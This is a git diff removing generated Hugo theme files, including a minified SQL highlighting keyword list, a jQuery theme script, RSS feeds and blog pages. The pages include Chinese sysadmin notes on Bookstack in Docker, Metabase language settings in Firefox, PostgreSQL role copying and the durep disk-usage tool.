noschemacheck noswitch not nothing notice notrim novalidate now nowait nth_value nullif nulls num numb numbe nvarchar nvarchar2 object ocicoll ocidate ocidatetime ociduration ociinterval ociloblocator ocinumber ociref ocirefcursor ocirowid ocistring ocitype oct octet_length of off offline offset oid oidindex old on online only opaque open operations operator optimal optimize option optionally or oracle oracle_date oradata ord ordaudio orddicom orddoc order ordimage ordinality ordvideo organization orlany orlvary out outer outfile outline output over overflow overriding package pad parallel parallel_enable parameters parent parse partial partition partitions pascal passing password password_grace_time password_lock_time password_reuse_max password_reuse_time password_verify_function patch path patindex pctincrease pctthreshold pctused pctversion percent percent_rank percentile_cont percentile_disc performance period period_add period_diff permanent physical pi pipe pipelined pivot pluggable plugin policy position post_transaction pow power pragma prebuilt precedes preceding precision prediction prediction_cost prediction_details prediction_probability prediction_set prepare present preserve prior priority private private_sga privileges procedural procedure procedure_analyze processlist profiles project prompt protection public publishingservername purge quarter query quick quiesce quota quotename radians raise rand range rank raw read reads readsize rebuild record records recover recovery recursive recycle redo reduced ref reference referenced references referencing refresh regexp_like register regr_avgx regr_avgy regr_count regr_intercept regr_r2 regr_slope regr_sxx regr_sxy reject rekey relational relative relaylog release release_lock relies_on relocate rely rem remainder rename repair repeat replace replicate replication required reset resetlogs resize resource respect restore restricted result result_cache resumable resume retention return returning returns reuse reverse revoke right rlike role roles rollback rolling rollup round row row_count rowdependencies rowid rownum rows rtrim rules safe salt sample save savepoint sb1 sb2 sb4 scan schema schemacheck scn scope scroll sdo_georaster sdo_topo_geometry search sec_to_time second section securefile security seed segment select self sequence sequential serializable server servererror session session_user sessions_per_user set sets settings sha sha1 sha2 share shared shared_pool short show shrink shutdown si_averagecolor si_colorhistogram si_featurelist si_positionalcolor si_stillimage si_texture siblings sid sign sin size size_t sizes skip slave sleep smalldatetimefromparts smallfile snapshot some soname sort soundex source space sparse spfile split sql sql_big_result sql_buffer_result sql_cache sql_calc_found_rows sql_small_result sql_variant_property sqlcode sqldata sqlerror sqlname sqlstate sqrt square standalone standby start starting startup statement static statistics stats_binomial_test stats_crosstab stats_ks_test stats_mode stats_mw_test stats_one_way_anova stats_t_test_ stats_t_test_indep stats_t_test_one stats_t_test_paired stats_wsr_test status std stddev stddev_pop stddev_samp stdev stop storage store stored str str_to_date straight_join strcmp strict string struct stuff style subdate subpartition subpartitions substitutable substr substring subtime subtring_index subtype success sum suspend switch switchoffset switchover sync synchronous synonym sys sys_xmlagg sysasm sysaux sysdate sysdatetimeoffset sysdba sysoper system system_user sysutcdatetime table tables tablespace tan tdo template temporary terminated tertiary_weights test than then thread through tier ties time time_format time_zone timediff timefromparts timeout timestamp timestampadd timestampdiff timezone_abbr timezone_minute timezone_region to to_base64 to_date to_days to_seconds todatetimeoffset trace tracking transaction transactional translate translation treat trigger trigger_nestlevel triggers trim truncate try_cast try_convert try_parse type ub1 ub2 ub4 ucase unarchived unbounded uncompress under undo unhex unicode uniform uninstall union unique unix_timestamp unknown unlimited unlock unpivot unrecoverable unsafe unsigned until untrusted unusable unused update updated upgrade upped upper upsert url urowid usable usage use use_stored_outlines user user_data user_resources users using utc_date utc_timestamp uuid uuid_short validate validate_password_strength validation valist value values var var_samp varcharc vari varia variab variabl variable variables variance varp varraw varrawc varray verify version versions view virtual visible void wait wallet warning warnings week weekday weekofyear wellformed when whene whenev wheneve whenever where while whitespace with within without work wrapped xdb xml xmlagg xmlattributes xmlcast xmlcolattval xmlelement xmlexists xmlforest xmlindex xmlnamespaces xmlpi xmlquery xmlroot xmlschema xmlserialize xmltable xmltype xor year year_to_month years yearweek",literal:"true false null",built_in:"array bigint binary bit blob boolean char character date dec decimal float int int8 integer interval number numeric real record serial serial8 smallint text varchar varying void"},c:[{cN:"string",b:"'",e:"'",c:[e.BE,{b:"''"}]},{cN:"string",b:'"',e:'"',c:[e.BE,{b:'""'}]},{cN:"string",b:"`",e:"`",c:[e.BE]},e.CNM,e.CBCM,t]},e.CBCM,t]}}),e}); diff --git a/themes/public/js/theme.ff50ae6dc1bfc220b23bf69dbb41b54e.js b/themes/public/js/theme.ff50ae6dc1bfc220b23bf69dbb41b54e.js deleted file mode 100644 index 85a5f8c4..00000000 --- a/themes/public/js/theme.ff50ae6dc1bfc220b23bf69dbb41b54e.js +++ /dev/null @@ -1,28 +0,0 @@ -$(document).ready(function() { - $(".toggler").click(function () { - $("nav").slideToggle(); - $("#search").autocomplete("val", ""); - }); - - $(document).keyup(function (e) { - if (e.keyCode === 27) { - if ( ! $("nav").hasClass('permanentTopNav') ) - $("nav").slideUp(); - $("#search").autocomplete("val", ""); - } - else if (e.keyCode === 83){ - if ( ! $("nav").hasClass('permanentTopNav') ) - $("nav").slideDown(); - $("#search").focus(); - } - }) - - $('.flexslider').flexslider({ - animation: "slide", - prevText: "", - nextText: "", - pauseOnHover: true, - }); -}); - -hljs.initHighlightingOnLoad(); diff --git a/themes/public/link/duckduckgo/index.html b/themes/public/link/duckduckgo/index.html deleted file mode 100644 index 5886755d..00000000 --- a/themes/public/link/duckduckgo/index.html +++ /dev/null @@ -1,12 +0,0 @@ - - - - Redirecting... - - -

    Click here if you're not redirected.

    - - - diff --git a/themes/public/link/index.html b/themes/public/link/index.html deleted file mode 100644 index e5448405..00000000 --- a/themes/public/link/index.html +++ /dev/null @@ -1,345 +0,0 @@ - - - - - - - - - - Links | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/link/index.xml b/themes/public/link/index.xml deleted file mode 100644 index c6bd4a2d..00000000 --- a/themes/public/link/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - Links on My cool new Blog - https://h.cowbay.org/link/ - Recent content in Links on My cool new Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 13:05:27 +0100 - - - - - - Duckduckgo.com - https://h.cowbay.org/link/duckduckgo/ - Wed, 01 Nov 2017 13:05:27 +0100 - - https://h.cowbay.org/link/duckduckgo/ - A search engnine that respects your privacy. - - - - \ No newline at end of file diff --git a/themes/public/link/page/1/index.html b/themes/public/link/page/1/index.html deleted file mode 100644 index c5ec681e..00000000 --- a/themes/public/link/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/link/ \ No newline at end of file diff --git a/themes/public/page/2/index.html b/themes/public/page/2/index.html deleted file mode 100644 index dc9cf0f7..00000000 --- a/themes/public/page/2/index.html +++ /dev/null @@ -1,407 +0,0 @@ - - - - - - - - - - Hello World! This is the most epic subtitle ever. | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - - - - - - -
    - - - - - - - - -
    - - - - -
    - - - - Newer posts - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/page/about-bilberry/index.html b/themes/public/page/about-bilberry/index.html deleted file mode 100644 index 320d8796..00000000 --- a/themes/public/page/about-bilberry/index.html +++ /dev/null @@ -1,412 +0,0 @@ - - - - - - - - - - About Bilberry | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    About Bilberry

    -
    - - - - - - - -
    - - -

    Bilberry is a premium theme for the Hugo Static Website Builder.

    - -

    It is full of little nice features, such as:

    - -
      -
    • built-in integration for the wonderful algolia search
    • -
    • built-in integration for the powerful disqus comments
    • -
    • gravatar and custom image integration for the header
    • -
    • keyboard shortcut for the search (press the s key, type something and hit enter or esc)
    • -
    • responsive design - optimized for desktop and mobile devices
    • -
    • full internationalization (i18n) support (en, de, fr, ru, es out of the box!)
    • -
    • full mutli-language support
    • -
    • custom post types (article, audio, code, gallery, link, page, picture, quote, video) - -
        -
      • easy configuration to add more according to your needs
      • -
    • -
    - -

    This Bilberry theme is inspired by the Lingonberry theme from Anders Norén

    - -

    Further information at GitHub

    - - -
    - - - - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/page/github/index.html b/themes/public/page/github/index.html deleted file mode 100644 index afd7f2ba..00000000 --- a/themes/public/page/github/index.html +++ /dev/null @@ -1,396 +0,0 @@ - - - - - - - - - - Github | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    Github

    -
    - - - 2017-11-01 - - - - - - - - -
    - - - - -
    - - - - - - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/page/index.html b/themes/public/page/index.html deleted file mode 100644 index 66acd356..00000000 --- a/themes/public/page/index.html +++ /dev/null @@ -1,321 +0,0 @@ - - - - - - - - - - Pages | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/page/index.xml b/themes/public/page/index.xml deleted file mode 100644 index d8ea2c4f..00000000 --- a/themes/public/page/index.xml +++ /dev/null @@ -1,34 +0,0 @@ - - - - Pages on My cool new Blog - https://h.cowbay.org/page/ - Recent content in Pages on My cool new Blog - Hugo -- gohugo.io - Wed, 01 Nov 2017 13:18:45 +0100 - - - - - - About Bilberry - https://h.cowbay.org/page/about-bilberry/ - Wed, 01 Nov 2017 13:18:45 +0100 - - https://h.cowbay.org/page/about-bilberry/ - Bilberry is a premium theme for the Hugo Static Website Builder. -It is full of little nice features, such as: - built-in integration for the wonderful algolia search built-in integration for the powerful disqus comments gravatar and custom image integration for the header keyboard shortcut for the search (press the s key, type something and hit enter or esc) responsive design - optimized for desktop and mobile devices full internationalization (i18n) support (en, de, fr, ru, es out of the box! - - - - Github - https://h.cowbay.org/page/github/ - Wed, 01 Nov 2017 13:17:56 +0100 - - https://h.cowbay.org/page/github/ - - - - - \ No newline at end of file diff --git a/themes/public/page/page/1/index.html b/themes/public/page/page/1/index.html deleted file mode 100644 index 09466cd1..00000000 --- a/themes/public/page/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/page/ \ No newline at end of file diff --git a/themes/public/post/bookstack-docker/index.html b/themes/public/post/bookstack-docker/index.html deleted file mode 100644 index 80a3e8bd..00000000 --- a/themes/public/post/bookstack-docker/index.html +++ /dev/null @@ -1,471 +0,0 @@ - - - - - - - - - - Bookstack Docker | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - - - -
    -

    Bookstack Docker

    -
    - - - 2018-11-06 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    Bookstack 是一套非常好用的線上”筆記”系統

    - -

    他用圖書館/書本的概念,讓使用者可以建立自己的”圖書館”

    - -

    同時在圖書館內建立不同的”書籍”

    - -

    而且支援 Markdown 語法

    - -

    其他的方式像是在nextcloud上編輯 md檔案(字體太小)

    - -

    或者是boostnote(只能在本機)

    - -

    都或多或少有點小缺點

    - -

    Bookstack則是沒有這些問題,不過就是系統「大」了點…

    - -

    不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)

    - -

    - -

    這個是專案的名稱

    - -

    solidnerd/docker-bookstack

    - -

    gihub上的連結

    - -

    https://github.com/solidnerd/docker-bookstack

    - -

    因為都轉成docker了,所以安裝很簡單 -先git clone回來

    - -
    git clone https://github.com/solidnerd/docker-bookstack
    -
    - -

    然後依照他的說明,建立一個docker-compose.yml檔案,再視情況修改

    - -

    底下是我的docker-compose.yml內容

    - -
     version: '2'                                                                                                                                         
    - services:
    -   mysql:
    -     image: mysql:5.7.21
    -     environment:
    -     - MYSQL_ROOT_PASSWORD=secret
    -     - MYSQL_DATABASE=bookstack
    -     - MYSQL_USER=bookstack
    -     - MYSQL_PASSWORD=secret
    -     volumes:
    -     - mysql-data:/var/lib/mysql
    -  
    -   bookstack:
    -     image: solidnerd/bookstack:0.24.1
    -     depends_on:
    -     - mysql
    -     environment:
    -     - DB_HOST=mysql:3306
    -     - DB_DATABASE=bookstack
    -     - DB_USERNAME=bookstack
    -     - DB_PASSWORD=secret
    -     volumes:
    -     - uploads:/var/www/bookstack/public/uploads
    -     - storage-uploads:/var/www/bookstack/public/storage
    -     ports:
    -       - "0.0.0.0:8003:80"
    -  
    - volumes:
    -  mysql-data:
    -  uploads:
    -  storage-uploads:
    -
    - -

    原則上我沒有修改什麼設定,先確認一下現在的bookstack版本 0.24.1 是目前最新的了

    - -

    然後把 port 改成8003 ,避免去強碰 80 port

    - -

    如果前面搭配 caddy 之類的反向代理,那不用去記 port 也沒關係。

    - -

    好了之後,就執行 docker-compose up -d

    - -

    然後 docker ps -a 看一下執行狀況

    - -
    CONTAINER ID        IMAGE                        COMMAND                  CREATED             STATUS                         PORTS               NAMES
    -6b3333eabf30        solidnerd/bookstack:0.24.1   "/docker-entrypoint.…"   4 hours ago         Exited (0) About an hour ago                       docker-bookstack_bookstack_1
    -b8d74048eba1        mysql:5.7.21                 "docker-entrypoint.s…"   4 hours ago         Exited (0) About an hour ago                       docker-bookstack_mysql_1
    -
    - -

    應該可以順利跑起來

    - -

    bookstack運作畫面

    - -

    沒啥難度,簡單作一下紀錄

    - -

    後面再來看看能不能在一個地方新增 md 檔案,然後可以自動傳到 hexo/hugo/ghost 的目錄,接著自動生成靜態檔案出來…

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/post/change-preferred-language-in-firefox/index.html b/themes/public/post/change-preferred-language-in-firefox/index.html deleted file mode 100644 index 4dbee006..00000000 --- a/themes/public/post/change-preferred-language-in-firefox/index.html +++ /dev/null @@ -1,445 +0,0 @@ - - - - - - - - - - [筆記] 為了metabase 修改 firefox 開啟網頁時使用的預設語言 change the preferred language in firefox for metabase | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - - - -
    -

    [筆記] 為了metabase 修改 firefox 開啟網頁時使用的預設語言 change the preferred language in firefox for metabase

    -
    - - - 2018-11-15 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    最近在測試metabase,記得幾個月前就有測試過

    - -

    但是當時的界面和現在的樣子差很多,看樣子改版還滿勤勞的

    - -

    所以這次改用docker來建立,根本五分鐘不到就建好了(挖鼻孔)

    - -

    不過呢,很討厭的是,一進去就發現語系採用的是簡體中文

    - -

    - -

    來看看這張圖 -metabase的簡體中文界面

    - -

    WHAT THE FUCK !!!

    - -

    這是哪一國的翻譯??我相信對岸人才濟濟,絕對不至於翻譯出這種結果來..

    - -

    想當然爾,我認為這個問題可以暫時不管,反正進入系統後,再去使用者界面設定就好

    - -

    BUT .. (對,又是這個他X的BUT)

    - -

    使用者設置裡面根本沒什麼可以改!

    - -

    metabase超陽春的使用者設置

    - -

    對,沒錯,就只有這樣!! 請容許我再罵一次 WHAT THE FUCK !!!

    - -
    - -

    好吧,罵完就算了,還是要想辦法解決,於是切到管理界面,的確是有語言設置

    - -

    然後,我要再罵第三次 WHAT THE FUCK !!!

    - -

    metabase管理界面

    - -
    The default language for this Metabase instance.This only applies to emails, Pulses, etc. Users' browsers will specify the language used in the user interface.
    -
    - -

    簡單說,這邊的語言設定「不影響」使用者界面,界面使用的語系,由各個瀏覽器決定!

    - -

    好,那我去修改firefox 的語言看看

    - -

    開啟 firefox ,點選右上角的三橫槓,找到語言選項

    - -

    我一開始改成這樣

    - -

    firefox settings

    - -

    結果不管重開幾次,開啟metabase還是那個殘體中文字

    - -

    後來想說,啊,會不會是「英語」「美語」的差異?

    - -

    所以我把順序改成

    - -

    firefox language settings for metabase

    - -

    然後再開 metabase ,結果就如我所願的,改成英文界面了

    - -

    metabase in English

    - -

    真的是比殘體中文好太多了..

    - -

    另外,關於繁體中文的部份,也到metabase的官方論壇去留言了

    - -

    就看看官方要不要處理這個問題…

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/post/copy_role_in_pgsql/index.html b/themes/public/post/copy_role_in_pgsql/index.html deleted file mode 100644 index 92a24d68..00000000 --- a/themes/public/post/copy_role_in_pgsql/index.html +++ /dev/null @@ -1,403 +0,0 @@ - - - - - - - - - - PostgreSQL 直接從已經存在的使用者複製權限到另一個使用者 | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - - - -
    -

    PostgreSQL 直接從已經存在的使用者複製權限到另一個使用者

    -
    - - - 2018-11-12 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    因為工作上的需求,有個資料庫需要開放給不同team的人去存取

    - -

    雖然都是在同一台機器上的同一個資料庫

    - -

    但是希望能夠不同team的人用不同的資料庫使用者

    - -

    這樣萬一出事,會比較好抓兇手??

    - -

    - -

    總之呢,這個需求一直反覆出現

    - -

    每次開發不同的AP,就要求一個不同的代號,實在有點煩

    - -

    之前都是用pgadmin來處理,現在就改用psql來弄

    - -

    其實也很簡單

    - -
    CREATE ROLE b LOGIN;
    -GRANT a TO b;
    -
    - -

    可以帶入script ,用script 或者用ansible去跑就好了

    - -

    省得每次都要在那邊手動改來改去..

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/post/index.html b/themes/public/post/index.html deleted file mode 100644 index 98b2023a..00000000 --- a/themes/public/post/index.html +++ /dev/null @@ -1,719 +0,0 @@ - - - - - - - - - - Posts | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - - - -
    -

    [筆記] 為了metabase 修改 firefox 開啟網頁時使用的預設語言 change the preferred language in firefox for metabase

    -
    - - - 2018-11-15 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    最近在測試metabase,記得幾個月前就有測試過

    - -

    但是當時的界面和現在的樣子差很多,看樣子改版還滿勤勞的

    - -

    所以這次改用docker來建立,根本五分鐘不到就建好了(挖鼻孔)

    - -

    不過呢,很討厭的是,一進去就發現語系採用的是簡體中文

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - - - -
    -

    PostgreSQL 直接從已經存在的使用者複製權限到另一個使用者

    -
    - - - 2018-11-12 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    因為工作上的需求,有個資料庫需要開放給不同team的人去存取

    - -

    雖然都是在同一台機器上的同一個資料庫

    - -

    但是希望能夠不同team的人用不同的資料庫使用者

    - -

    這樣萬一出事,會比較好抓兇手??

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - - - -
    -

    [筆記] 詭異的client&server間連線的問題,或許跟KVM有關係?

    -
    - - - 2018-11-08 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    這是發生在一個夜黑風高的寂寥深夜….. ( What The FXXX … )

    - -

    來到這個環境之後,有一個很詭異的狀況一直困擾著我

    - -

    在每個分公司,都會有一台伺服器作為KVM Host

    - -

    上面跑兩台VM,一台作為ansible controller (目前沒作用)

    - -

    另一台作為這邊所謂的 “Build Server”

    - -

    用途包含了DHCP Server / Proxy Server (squid3) / APT Proxy (squid-deb-proxy)

    - -

    問題就發生在這台 Build Server 上…

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - - - -
    -

    Nice Du Report Tool Durep

    -
    - - - 2018-11-06 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    最近在重新規劃前人留下的backup爛攤子 -各個伺服器統一備份到一台backup storage -想說如果每天能夠看到backup storage的磁碟用量的話 -就可以抓出備份空間成長速度、推估需要多大的磁碟空間 -找了一些工具,結果發現 durep 這個 ubuntu 內建的工具 -基本上可以滿足我的需求

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - - - -
    -

    Bookstack Docker

    -
    - - - 2018-11-06 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    Bookstack 是一套非常好用的線上”筆記”系統

    - -

    他用圖書館/書本的概念,讓使用者可以建立自己的”圖書館”

    - -

    同時在圖書館內建立不同的”書籍”

    - -

    而且支援 Markdown 語法

    - -

    其他的方式像是在nextcloud上編輯 md檔案(字體太小)

    - -

    或者是boostnote(只能在本機)

    - -

    都或多或少有點小缺點

    - -

    Bookstack則是沒有這些問題,不過就是系統「大」了點…

    - -

    不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/post/index.xml b/themes/public/post/index.xml deleted file mode 100644 index 354e911e..00000000 --- a/themes/public/post/index.xml +++ /dev/null @@ -1,112 +0,0 @@ - - - - Posts on MC部落 - https://h.cowbay.org/post/ - Recent content in Posts on MC部落 - Hugo -- gohugo.io - Thu, 15 Nov 2018 11:06:28 +0800 - - - - - - [筆記] 為了metabase 修改 firefox 開啟網頁時使用的預設語言 change the preferred language in firefox for metabase - https://h.cowbay.org/post/change-preferred-language-in-firefox/ - Thu, 15 Nov 2018 11:06:28 +0800 - - https://h.cowbay.org/post/change-preferred-language-in-firefox/ - <p>最近在測試metabase,記得幾個月前就有測試過</p> - -<p>但是當時的界面和現在的樣子差很多,看樣子改版還滿勤勞的</p> - -<p>所以這次改用docker來建立,根本五分鐘不到就建好了(挖鼻孔)</p> - -<p>不過呢,很討厭的是,一進去就發現語系採用的是簡體中文</p> - -<p></p> - - - - PostgreSQL 直接從已經存在的使用者複製權限到另一個使用者 - https://h.cowbay.org/post/copy_role_in_pgsql/ - Mon, 12 Nov 2018 09:48:12 +0800 - - https://h.cowbay.org/post/copy_role_in_pgsql/ - <p>因為工作上的需求,有個資料庫需要開放給不同team的人去存取</p> - -<p>雖然都是在同一台機器上的同一個資料庫</p> - -<p>但是希望能夠不同team的人用不同的資料庫使用者</p> - -<p>這樣萬一出事,會比較好抓兇手??</p> - -<p></p> - - - - [筆記] 詭異的client&server間連線的問題,或許跟KVM有關係? - https://h.cowbay.org/post/weird-client-server-connection/ - Thu, 08 Nov 2018 18:01:23 +0800 - - https://h.cowbay.org/post/weird-client-server-connection/ - <p>這是發生在一個夜黑風高的寂寥深夜&hellip;.. ( What The FXXX &hellip; )</p> - -<p>來到這個環境之後,有一個很詭異的狀況一直困擾著我</p> - -<p>在每個分公司,都會有一台伺服器作為KVM Host</p> - -<p>上面跑兩台VM,一台作為ansible controller (目前沒作用)</p> - -<p>另一台作為這邊所謂的 &ldquo;Build Server&rdquo;</p> - -<p>用途包含了DHCP Server / Proxy Server (squid3) / APT Proxy (squid-deb-proxy)</p> - -<p>問題就發生在這台 Build Server 上&hellip;</p> - -<p></p> - - - - Nice Du Report Tool Durep - https://h.cowbay.org/post/nice-du-report-tool-durep/ - Tue, 06 Nov 2018 15:24:29 +0800 - - https://h.cowbay.org/post/nice-du-report-tool-durep/ - <p>最近在重新規劃前人留下的backup爛攤子 -各個伺服器統一備份到一台backup storage -想說如果每天能夠看到backup storage的磁碟用量的話 -就可以抓出備份空間成長速度、推估需要多大的磁碟空間 -找了一些工具,結果發現 durep 這個 ubuntu 內建的工具 -基本上可以滿足我的需求</p> - - - - Bookstack Docker - https://h.cowbay.org/post/bookstack-docker/ - Tue, 06 Nov 2018 14:57:14 +0800 - - https://h.cowbay.org/post/bookstack-docker/ - <p>Bookstack 是一套非常好用的線上&rdquo;筆記&rdquo;系統</p> - -<p>他用圖書館/書本的概念,讓使用者可以建立自己的&rdquo;圖書館&rdquo;</p> - -<p>同時在圖書館內建立不同的&rdquo;書籍&rdquo;</p> - -<p>而且支援 Markdown 語法</p> - -<p>其他的方式像是在nextcloud上編輯 md檔案(字體太小)</p> - -<p>或者是boostnote(只能在本機)</p> - -<p>都或多或少有點小缺點</p> - -<p>Bookstack則是沒有這些問題,不過就是系統「大」了點&hellip;</p> - -<p>不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)</p> - -<p></p> - - - - \ No newline at end of file diff --git a/themes/public/post/nice-du-report-tool-durep/index.html b/themes/public/post/nice-du-report-tool-durep/index.html deleted file mode 100644 index 42641a74..00000000 --- a/themes/public/post/nice-du-report-tool-durep/index.html +++ /dev/null @@ -1,438 +0,0 @@ - - - - - - - - - - Nice Du Report Tool Durep | MC部落 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    MC部落

    - - 這是MC的HUGO部落格,採用bilberry theme - -
    - - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - - - -
    -

    Nice Du Report Tool Durep

    -
    - - - 2018-11-06 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    最近在重新規劃前人留下的backup爛攤子 -各個伺服器統一備份到一台backup storage -想說如果每天能夠看到backup storage的磁碟用量的話 -就可以抓出備份空間成長速度、推估需要多大的磁碟空間 -找了一些工具,結果發現 durep 這個 ubuntu 內建的工具 -基本上可以滿足我的需求

    - -

    -我的需求其實很簡單

    - -
      -
    1. 可以指定目錄”深度”
    2. -
    3. 可以用圖表的方式顯示目前用量
    4. -
    5. 每天寄出報表
    6. -
    - -

    來看一下 durep 執行的狀況 -如果只指定一層,那就是顯示該目錄底下的使用狀況

    - -
    2018-10-29 15:50:21 [minion@tps006 ~]$ sudo durep -td 1 -sd /file
    -[ /file   259.0G (0 files, 3 dirs) ]
    - 259.0G [############################# ] 100.00% Oct 25  2017 team/
    -   1.7M [                              ]   0.00% Oct 23 14:04 html/
    - 741.1K [                              ]   0.00% Jul 11  2016 team_commons/
    -2018-10-29 15:50:26 [minion@tps006 ~]$ sudo durep -td 1 -sd /file
    -
    - -

    如果指定兩層 -就顯示包含下一層目錄的磁碟使用量 好像廢話

    - -
    2018-10-29 16:14:23 [mini@s006 ~]$ sudo durep -td 2 -sd /file
    -[ /file   259.0G (0 files, 3 dirs) ]
    - 259.0G [############################# ] 100.00% Oct 25  2017 team/
    -     259.0G [##############################] 100.00% Oct  3 15:08 tp/
    -         0b [                              ]   0.00% Jul 11  2016 temporary/
    -   1.7M [                              ]   0.00% Oct 23 14:04 html/
    -     748.5K [############                  ]  43.04% Jun 22  2016 font-awesome/
    -     282.2K [####                          ]  16.23% Jun 22  2016 css/
    -     241.0K [####                          ]  13.86% Jun 22  2016 js/
    -     222.9K [###                           ]  12.82% Jun 22  2016 img/
    -     210.7K [###                           ]  12.11% Jun 22  2016 fonts/
    -      18.6K [                              ]   1.07% Oct 23 14:04 index.html
    -       8.5K [                              ]   0.49% Jun 22  2016 less/
    -       2.2K [                              ]   0.12% Jun 22  2016 Gruntfile.js
    -       1.7K [                              ]   0.10% Jun 22  2016 README.md
    -       1.2K [                              ]   0.07% Jun 22  2016 mail/
    -       1.1K [                              ]   0.06% Jun 22  2016 LICENSE
    -       652b [                              ]   0.04% Jun 22  2016 package.json
    -        12b [                              ]   0.00% Jun 22  2016 .gitignore
    - 741.1K [                              ]   0.00% Jul 11  2016 team_commons/
    -     709.6K [############################  ]  95.75% Oct 23 14:05 tp/
    -      31.5K [#                             ]   4.25% Oct 23 14:05 temporary/
    -2018-10-29 16:14:36 [mini@s006 ~]$ 
    -
    - -

    搭配mail 使用,有點可惜的是在郵件內顯示,格式稍微有點跑掉 -不過至少需要看到的目錄總使用量(左上角),還有各個子目錄的用量都可以清楚的看到 -如果能夠有縮排就更好了!

    - -

    http://i.imgur.com/ySNJJWx.png

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
